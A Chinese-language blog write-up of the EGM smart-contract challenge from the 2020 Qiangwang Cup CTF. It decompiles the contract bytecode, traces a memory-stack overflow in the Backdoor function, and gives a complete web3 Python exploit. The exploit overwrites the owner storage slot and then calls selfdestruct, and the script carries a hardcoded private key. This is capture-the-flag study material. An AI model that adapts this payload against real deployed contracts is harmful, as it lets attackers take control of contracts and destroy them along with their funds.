Fork me on GitHub
pikachu's Blog

qwb2020 第四届强网杯区块链EGM

前言

Source

1
6210000060405260043610610073576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680638d715d9d1461024557806360fe47b11461031a5780636d4ce63c1461035557806335f4699414610372578063b4a99a4e1461038157610073565b610078565b600080fd600060006000600060005b61012061010052565b6101005190565b60206101005101806101005252565b6101005151602061010051036101005290565b61010052565b6100ca610100516100975b565b565b6100d66100a6565b6100de6100a6565b6100e7906100b9565b565b6100f1610087565b565b34156100cc57610078565b6101086000610097565b5b7f01000000000000000000000000000000000000000000000000000000000000006101005151602061010051035101510415610152575b60016101005151016101005152610109565b61015a6100a6565b6101626100a6565b506100ce565b6101726000610097565b5b6020610100510351610100515103156101d9577f0100000000000000000000000000000000000000000000000000000000000000610100515160606101005103510151046101005151604061010051035101535b60016101005151016101005152610173565b60006101005151604061010051035101535b60406101005151061561021c5760006101005151604061010051035101535b600161010051510161010051526101eb565b6102246100a6565b5061022d6100a6565b506102366100a6565b5061023f6100a6565b506100ce565b61024d6100e9565b6102576000610097565b610100516102656212345650565b36602462013000376102756100bf565b61028061034f610097565b61028c62013000610097565b61029581610097565b6102a160243603610097565b610168565b6102ae6100bf565b6102b96102c7610097565b6102c281610097565b6100fe565b6020610100510381602060408303526020820352602060208203510660208203510360200160400160408203f35b602061010051035161010051515561030b6100a6565b506103146100a6565b506100ce565b6103226100f3565b61032a6100bf565b61033561034f610097565b610340600435610097565b61034a6000610097565b6102f5565b60006000f35b61035d6100f3565b60005433146100785760005460805260206080f35b60665433141561007857606654ff5b6066543314156100785733606655005b505050505050505050505050505050505050505050505050505050505050505050505050505050

Analyse

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
contract disassembler {

function Backdoor() public return ()
{
var1 = func_00000087();
return();
}

function set() public return ()
{
// Please refer to main() for the functionality, Function Hash: 60FE47B1
}

function get() public return ()
{
require(!msg.value);
return();
}

function die() public return ()
{
// Please refer to main() for the functionality, Function Hash: 35F46994
}

function Owner() public return ()
{
// Please refer to main() for the functionality, Function Hash: B4A99A4E
}

function func_00000087() private return (var0)
{
mstore(0x100,0x120);
return(var1);
}

function func_00000097( uint256 arg0) private return (var0)
{
temp0 = mload(0x100);
mstore(0x100,(temp0 + 0x20));
mstore((temp0 + 0x20),arg0);
return(var0);
}

function func_000000BF() private return (var0)
{
var4 = mload(0x100);
var2 = func_00000097(var4);
return(var1);
}

function func_000000A6() private return (var0)
{
temp12 = mload(0x100);
temp14 = mload(temp12);
temp13 = mload(0x100);
mstore(0x100,(temp13 - 0x20));
return(temp14);
}

function func_000000B9( uint256 arg0) private return (var0)
{
mstore(0x100,arg0);
return(var2);
}

function main() public return ()
{
mstore(0x40,0x100000);
if ((msg.data.length < 0x4))
{
label_00000073:
label_00000078:
revert(0x0,0x0);
}

//ISSUE:COMMENT: Function Backdoor()
else if ((0x8D715D9D == uint32((msg.data(0x0) / 0x100000000000000000000000000000000000000000000000000000000))))
{
Backdoor();
var0 = func_00000097(0x0);
calldatacopy(0x13000,0x24,msg.data.length);
var1 = func_000000BF();
var1 = func_00000097(0x34F);
var1 = func_00000097(0x13000);
var1 = func_00000097(var1);
var1 = func_00000097((msg.data.length - 0x24));
var1 = func_00000097(0x0);
label_00000173:
temp2 = mload(0x100);
temp5 = mload((temp2 - 0x20));
temp3 = mload(0x100);
temp4 = mload(temp3);
if ((temp4 - temp5))
{
temp22 = mload(0x100);
temp25 = mload(temp22);
temp23 = mload(0x100);
temp24 = mload((temp23 - 0x60));
temp26 = mload((temp24 + temp25));
temp27 = mload(0x100);
temp30 = mload(temp27);
temp28 = mload(0x100);
temp29 = mload((temp28 - 0x40));
mstore8((temp29 + temp30),(temp26 / 0x100000000000000000000000000000000000000000000000000000000000000));
temp31 = mload(0x100);
temp32 = mload(temp31);
temp33 = mload(0x100);
mstore(temp33,(temp32 + 0x1));
goto label_00000173;
}
else
{
temp6 = mload(0x100);
temp9 = mload(temp6);
temp7 = mload(0x100);
temp8 = mload((temp7 - 0x40));
mstore8((temp8 + temp9),0x0);
label_000001EB:
temp10 = mload(0x100);
temp11 = mload(temp10);
if (MOD(temp11,0x40))
{
temp15 = mload(0x100);
temp18 = mload(temp15);
temp16 = mload(0x100);
temp17 = mload((temp16 - 0x40));
mstore8((temp17 + temp18),0x0);
temp19 = mload(0x100);
temp20 = mload(temp19);
temp21 = mload(0x100);
mstore(temp21,(temp20 + 0x1));
goto label_000001EB;
}
else
{
var2 = func_000000A6();
var2 = func_000000A6();
var2 = func_000000A6();
var2 = func_000000A6();
var2 = func_000000A6();
var3 = func_000000A6();
var3 = 0xE7;
var2 = func_000000B9(var3);
}
}
}

//ISSUE:COMMENT: Function set()
else if ((0x60FE47B1 == var0))
{
get();
var0 = func_000000BF();
var0 = func_00000097(0x34F);
var0 = func_00000097(msg.data(0x4));
var0 = func_00000097(0x0);
temp34 = mload(0x100);
temp37 = mload((temp34 - 0x20));
temp35 = mload(0x100);
temp36 = mload(temp35);
sstore(temp36,temp37);
var1 = func_000000A6();
var1 = func_000000A6();
var1 = func_000000A6();
var2 = func_000000A6();
var2 = 0xE7;
var1 = func_000000B9(var2);
}

//ISSUE:COMMENT: Function get()
else if ((0x6D4CE63C == var0))
{
get();
if ((msg.sender == sload(0x0)))
{
goto label_00000078;
}
else
{
mstore(0x80,sload(0x0));
RETURN(0x80,0x20);
}
}

//ISSUE:COMMENT: Function die()
else if ((0x35F46994 == var0))
{
if ((msg.sender == sload(0x66)))
{

//ISSUE:WARNING: SELFDESTRUCT is used to for the destruction
selfdestruct(sload(0x66));
}
else
{
goto label_00000078;
}
}

//ISSUE:COMMENT: Function Owner()
else if ((0xB4A99A4E == var0))
{
if ((msg.sender == sload(0x66)))
{
sstore(0x66,msg.sender);
stop();
}
else
{
goto label_00000078;
}
}
else
{
goto label_00000073;
}
}

}
  • 根据上面反编译结果及其 ida-evm 具体分析一下可以得到下面的伪代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function get() public returns (address) {
require(msg.value == 0);
require(msg.sender != sload(0x0));
return sload(0x0);
}

function die() public {
require(msg.sender == sload(0x66));
selfdestruct(sload(0x66));
}

function Owner() public {
require(msg.sender == sload(0x66));
sstore(0x66,msg.sender);
stop();
}
  • 根据反编译结果及其 ida-evm 具体分析 set 函数和 Backdoor 函数,可发现其利用 mem 实现了类堆栈操作,可总结如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
function stack_push(uint256 value) private {
memory[memory[0x100]+0x20] = value;
memory[0x100] = memory[0x100] + 0x20;
}

function stack_get(uint256 depth) private {
return memory[memory[0x100] - depth*0x20];
}

function stack_pop() private returns (uint256 value) {
value = memory[memory[0x100]];
memory[0x100] = memory[0x100] - 0x20;
}

function stack_push_frame() private {
stack_push(memory[0x100]);
}

function stack_pop_frame() private returns (uint256 dest) {
dest = stack_pop();
memory[0x100] = stack_pop();
}

function set(uint256 value) public {
stack_push_frame();
stack_push(0x34f);
stack_push(value);
stack_push(0x00);
set_ss();
}

function set_ss() private {
sstore(sload(0x0),sload(0x1));
stack_pop();
stack_pop();
goto stack_pop_frame();
}

function Backdoor() public {
memory[0x100] = 0x120;
var var1 = memory[0x100]; // 0x140
stack_push(0x00);
memcpy(memory[0x13000], msg.data[0x24], msg.data.length-0x24);

stack_push_frame();
stack_push(irrelevant_lbl);
stack_push(0x13000);
stack_push(var1);
stack_push(msg.data.length - 0x24);
stack_push(0x00);

copy_data();
memory[stack_get(2) + stack_get(0)] = 0x00;
pad_data();

stack_pop();
stack_pop();
stack_pop();
stack_pop();
goto stack_pop_frame();
}

function copy_data() private {
while (stack_get(0) - stack_get(1) != 0) {
memory[stack_get(2) + stack_get(0)] = memory[stack_get(3) + stack_get(0)] >> 248;
memory[memory[0x100]] = memory[memory[0x100]] + 0x01;
}
}

function pad_data() private {
while (stack_get(0) % 0x40 != 0) {
memory[stack_get(2) + stack_get(0)] = 0x00;
memory[memory[0x100]] = memory[memory[0x100]] + 0x01;
}
}
  • 其中 set 对应的堆栈如下
1
2
3
4
5
6
7
8
9
--------------------------------
| stack frame set() |
--------------------------------
| address of 'return' gadget | |
-------------------------------- | stack grows down
| our address | V
--------------------------------
| 0x66 |
--------------------------------
  • Backdoor 对应的堆栈如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
----------------------------------
| 0x00 | <---- this is 0x140
----------------------------------
| stack frame 0x7909947a() |
----------------------------------
| address of 'return' gadget | |
---------------------------------- | stack grows down
| 0x13000 | V
----------------------------------
| 0x140 |
----------------------------------
| msg.data.length - 0x24 |
----------------------------------
| 0x00 |
----------------------------------
  • 当调用 Backdoor 时,它会将 msg.data[0x24:] 复制到内存 [0x140] 中。 这意味着如果我们的消息长于 0x20 字节,它将破坏堆栈,然后覆盖返回地址,以此类推。Backdoor 中将 payload 复制到内存 [0x13000] 中。 因此,我们可以简单地更新堆栈帧指针,并使其指向我们的堆栈所在的 0x13000
  • 我们需要对 Backdoor 进行调用,msg.data[0x24:] 后的数据每 0x20 长度为一个单位,先是一个单位的 0 填充 0x140 位置,接着两个单位覆盖堆栈帧指针和返回地址。总的 msg.data 长度为 0x144 字节,所以 msg.data[24:] 长度为 0x120 字节,所以假堆栈帧指针指向 0x13120 。根据 set_ss 所在的位置,使用 0x2f5 作为返回位置。因为payload 是一次一个字节复制到 mem 中,所以在覆盖接下来的四个单位时需要注意:前三个是静态值,第四个是是动态值(需要注意,此时的第三个单位要按照 0x40 长度对齐,所以第三个单位是0x140),此时 payload 如下所示:
1
2
3
4
5
6
7
8
9
data = '0x8d715d9d'
data += '0000000000000000000000000000000000000000000000000000000000000000'
data += '0000000000000000000000000000000000000000000000000000000000000000'
data += '0000000000000000000000000000000000000000000000000000000000013120'
data += '00000000000000000000000000000000000000000000000000000000000002f5'
data += '0000000000000000000000000000000000000000000000000000000000013000'
data += '0000000000000000000000000000000000000000000000000000000000000140'
data += '0000000000000000000000000000000000000000000000000000000000000140'
data += '00000000000000000000000000000000000000000000000000000000000000df'
  • 最后,可以构造 set_ss,并使用其对堆栈进行读取操作。首先指定 set_ss 的返回地址为0x34f能够正常结束;然后,指定要写入存储的值;最后指定要写入的存储槽 0x66
1
2
3
000000000000000000000000000000000000000000000000000000000000034f
0000000000000000000000008F348B14089Bc472DE7bC954F3ABB7e169C00001
0000000000000000000000000000000000000000000000000000000000000066
  • 所以,总的 payload 如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
data = '0x8d715d9d'
data += '0000000000000000000000000000000000000000000000000000000000000000'
data += '0000000000000000000000000000000000000000000000000000000000000000'
data += '0000000000000000000000000000000000000000000000000000000000013120'
data += '00000000000000000000000000000000000000000000000000000000000002f5'
data += '0000000000000000000000000000000000000000000000000000000000013000'
data += '0000000000000000000000000000000000000000000000000000000000000140'
data += '0000000000000000000000000000000000000000000000000000000000000140'
data += '00000000000000000000000000000000000000000000000000000000000000df'
data += '000000000000000000000000000000000000000000000000000000000000034f'
data += '0000000000000000000000008F348B14089Bc472DE7bC954F3ABB7e169C00001'
data += '0000000000000000000000000000000000000000000000000000000000000066'
  • 最后调用 die 即可

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from web3 import Web3, HTTPProvider

w3 = Web3(Web3.HTTPProvider("http://192.168.100.8:8888"))

contract_address = "0xcbfa6049c0a04031ac0335afe323e3f993856e76"
private = "3669a3b95e09cdb89777d777d63147bd7357fcce9219ce1f8e465b86b1135c59"
public = "0x8F348B14089Bc472DE7bC954F3ABB7e169C00001"

data = '0x8d715d9d'
data += '0000000000000000000000000000000000000000000000000000000000000000'
data += '0000000000000000000000000000000000000000000000000000000000000000'
data += '0000000000000000000000000000000000000000000000000000000000013120'
data += '00000000000000000000000000000000000000000000000000000000000002f5'
data += '0000000000000000000000000000000000000000000000000000000000013000'
data += '0000000000000000000000000000000000000000000000000000000000000140'
data += '0000000000000000000000000000000000000000000000000000000000000140'
data += '00000000000000000000000000000000000000000000000000000000000000df'
data += '000000000000000000000000000000000000000000000000000000000000034f'
data += '0000000000000000000000008F348B14089Bc472DE7bC954F3ABB7e169C00001'
data += '0000000000000000000000000000000000000000000000000000000000000066'

def hack(public, data):
txn = {
'from': Web3.toChecksumAddress(public),
'to': Web3.toChecksumAddress(contract_address),
'gasPrice': w3.eth.gasPrice,
'gas': 8000000,
'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
'data': data,
}
signed_txn = w3.eth.account.signTransaction(txn, private)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
print("txn_hash=", txn_hash)
return txn_receipt

print(hack(public, data))
print(hack(public, '0x35f46994'))

---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2020/egm/
Contact:hitcxy@hotmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!